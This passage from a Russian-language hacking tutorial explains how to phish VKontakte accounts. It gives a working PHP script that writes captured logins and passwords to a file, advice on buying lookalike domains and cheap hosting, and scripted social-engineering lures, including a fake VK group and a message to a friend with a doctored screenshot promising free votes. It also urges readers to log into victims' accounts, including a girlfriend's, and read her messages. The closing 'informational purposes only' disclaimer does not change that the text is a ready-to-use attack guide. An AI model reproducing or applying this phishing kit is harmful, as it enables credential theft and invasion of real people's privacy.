Фишинг - взлом вконтакте

и убераем слеш перед словом login.php. То есть сейчас так action="/login.php" а должно стать вот так action="login.php". Теперь сохраняем и закрываем, следующим идет файл «login.php», его открываем в блокноте и заменяем все, что там есть на это:

?php

$LOCATION="http://vkontakte.ru/";

$BASE="base.php";

$p0=$_REQUEST["login"];

$p1=$_REQUEST["pass"];

$info="$p0:$p1:\n";

$fd=fopen($BASE,"a+");

fwrite($fd,$info);

fclose($fd);

header("Location:$LOCATION");

?>

  Этот код перехватывает введенные данные с полей «логин» и «пароль» и записывает их в файл «base.php», откуда вы и будете получать сладенькие конфиденциальные данные ушастых юзверей.     И так создание фейка закончено теперь переходим к выбору хостинга и размещению псевдо сайта.

Выбираем хостинг

  От выбора хостинга зависит каков будет результат, вообще правельный выбор намного упрощает работу.

  Проблема всегда лиш в одном — это в деньгах, все хотят использовать все на 100% но не заплатить за это не копейки. Как известно за хорошее нужно платить и если вы хотите получить удачный результат то вам понадобится сузить толщину вашего кошелька на несколько милимметров. Надеюсь это не много? :). Можно конечно же воспользоваться бесплатным хостингом, но тогда юзер должен быть с очень большими ушами, что бы не заметить подставу.А теперь давайте рассмотрим где и как мы можем разместить наш недавно созданный фейк?

  Платный хостинг и домен первого уровня — на мой взгляд самый удачный вариант, так как домен можно подобрать максимально похожим а так же можно взять домен .РФ который можно купить за 99 р. вот например домен «вкконтрахте.рф» свободен и это будет весьма убедительно и не должно вызывать подозрения а так же придумать и реализовать миф под этот домен будет проще простого. Так же для домена необходимо купить место на хостинге, это вообще дешево, в самом низу на нашем сайте ты можешь увидеть ссылку «Хостинг и Регистрация Доменов» нажми на картинку и попадешь на сайт самого дешового и удобного хостера в РуНете, стоимость хостинга за месяц всего 33 рубля. И в общей сложности у вас потребует 132 рубля, думаю даже школьнику эта сумма доступна, не поесть один раз в столовой :).

  Бесплатный хостинг и домен второго уровня — данный вариант слишком палевный, любой человек который хоть раз читал минимальную информацию по безопасности в интернете о том, что не нужно ходить по не известным сайтам так как они могу приносить вред вашему компьютеру, да и сам вконтакте предупреждает об этом при переходе по ссылке на какой не будь сайт. Так, что не гарантирую, что данный способ будет работать так как вам нужно. Бесплатным хостингом можно воспользоваться например этим http://hut.ru. Домен предоставляет потдержку php скриптов а это то, что нам нужно. Но вот еще одна проблемка этот хостинг выкладывает большой баннер на страничку на любом вашем сайте а он весьма большой и по этому от него нужно избавиться, банер можно отключить но за определенную плату, вообще не вижу смысла брать бесплатный хостинг и еще платить за баннер, проще взять платный хостинг с нормальным доменом, так как домен полученый на бесплатном хостинге будет иметь вид vkontakte.hut.ru мне кажется слишком заметно и придумывать миф для данного домена будет весьма затруднительно.

  И так допустим вы зарегестрировали себе домен и взяли хостинг, теперь нужно засунуть наши три файла на хостинг «index.php», «login.php» «base.php». Сделать это можно присоеденившись через программу Total Commander выбрав в меню создать новое подключение к FTP.

   Теперь опять заходим через Total Commander заходим на сервер и выбираем редактировать файл base.php. Откроется блокнот и в самом низу документа вы увидете те данные которые вы недавно вводили.

  И так все работает теперь переходим к впариванию нашего псевдо сайта, в этом нам может помочь только социальная инженерия.

Используем социальную инженерию

  И так, как я говорил ранее результат зависит от того каким доменом вы воспользуйтесь первого уровня имя.рф имя.ru или же второго имя.hut.tu Ну, в любом случае мы будем рассматривать два варианта и так поехали.

1. Предаствим, что вы купили платный домен например в зоне .РФ и он получился у вас вкконтрахте.рф(вы можете найти любой другой, я просто нашел свободным этот). И так домен у нас есть теперь нужно определиться с жертвой а может быть и с жертвами смотря на какие масштабы вы нацелены. Для этого вам нужна желательна другая учетная запись. Создаете группу вконтакте и называете ее например «Новые возможности новых доменов вконтакте» закрываешь там все что можно, не даешь коментировать обсуждать и остальное барахло, делаешь красивую картинку с логотипом вконтакте и с подписью например нескольких доменов в зоне .РФ (вконтакте.рф, вконтрахте.рф, вкконтрахте.рф). Создаешь тему и описываешь типа контакт запустил новую ветку доменов и один из них вкконтрахте.рф имеет уникальную возможность, может это косяк программистов может так задуманно для собственного использования, эти домены ты вообще нашел случайна тыкая пальцами, так вот на этом домене вводишь данные от своей учетной записи и можно просматривать все закрытные учетки например твоих знакомых ну и ряд другой лабуды. Расписав все красиво и убедительно начинаешь приглашать всех людей которые тебе нужны или всех подряд как тебе удобнее. И через некоторое время открываешь опять  файл base.php  и наслаждаешься полученными данными.

2. Допустим вы зарегестрировали себе бесплатный хостинг и получили себе домен второго уровня например vkontakte.hut.ru, то лигенду можно придумать например следущую. Делайте Print screen вашей странички вконтакте редактируйте полученное изображение в паинте изменяя ваши голоса например на 999. Сохраняете у себя на компьютере и заходите на свою любимую почту и выбирайте список кому вы будете отправлять сообщения, например какой не будь подружке пиши текст «Привет Марин, обалдеть че я за сервер нарыл вообще попутать, короче заходишь на этот сайт vkontakte.hut.ru вводишь свои данные и тебе начисляют 999 голосов, ну это не для всех учеток, но для моей прокатило, сперва думал разводка, а сам проверил вот результат можешь посмотреть на картинке которую я тебе прислал.». Прекрепляете картинку и отправляете получателю, думаю в ответ придет что то вроде этого «Ничего не получилось :(». Теперь смело идете на сервер открываете уже известный файл base.php и заходите смело под учетной записью твоей подружки.

  Вот такие вот способы которые я сгенерировал в данный момент, а таких компбинаций можно придумать валом. Просто включай голову!

Заключение

  Данный метод используют спамеры для получения акков а потом для последующей продажи или спама, помница мне в 2009 году угнали 50000 учетных записей и опубликовали на сайте который закрыли через 3 часа :). Но способ будет работать пока не иссякнет ваша фантазия и пока не исчезнут ушастые юзвери, но это все миф ушастики будут всегда :).

От автора

  Вообще данный материал представлен чисто в ознакомительных целях и автор статьи не несет никакой ответственности. И вообще если сомневаешься в своей подружке то лучше беги от нее иначе проверка ее переписки тебя весьма удевит. :) И так на сегодня все, все бб.